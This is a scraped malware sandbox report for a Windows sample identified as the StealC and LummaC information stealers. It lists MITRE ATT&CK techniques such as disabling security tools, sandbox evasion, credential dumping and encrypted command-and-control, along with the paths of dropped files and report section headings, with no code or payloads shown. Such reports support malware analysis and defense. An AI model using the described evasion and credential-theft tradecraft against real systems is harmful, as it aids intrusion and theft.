Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report 2jx1O1t486.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: StealC

Threatname: LummaC

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Networking

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\G1YXJMVDF5OIAHQBL77U48.exe.log

C:\Users\user\AppData\Local\Temp\G1YXJMVDF5OIAHQBL77U48.exe

C:\Users\user\AppData\Local\Temp\NK8XSYTFAY7E51TMEDPWVKGQXUNL07I.exe

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Data Directories

Sections

Resources

Imports

Network Behavior

Windows Analysis Report
2jx1O1t486.exe

Function 049315D0 Relevance: 5.5, APIs: 1, Strings: 2, Instructions: 299
COMMON

Function 00CB2427 Relevance: 1.6, APIs: 1, Instructions: 99
libraryCOMMON

Function 049315C4 Relevance: 5.6, APIs: 1, Strings: 2, Instructions: 305
COMMON

Function 04930D43 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 62
COMMON

Function 04930D48 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 59
COMMON

Function 04931509 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 56
serviceCOMMON

Function 04931510 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 54
serviceCOMMON

Function 00CB5BE1 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 53
fileCOMMON

Function 04931301 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 50
COMMON

Function 04931308 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 47
COMMON

Function 00CB5AF4 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 24
fileCOMMON

Function 00CB257A Relevance: 1.6, APIs: 1, Instructions: 126
libraryCOMMON

Function 00CB5C2F Relevance: 1.5, APIs: 1, Instructions: 43
fileCOMMON

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre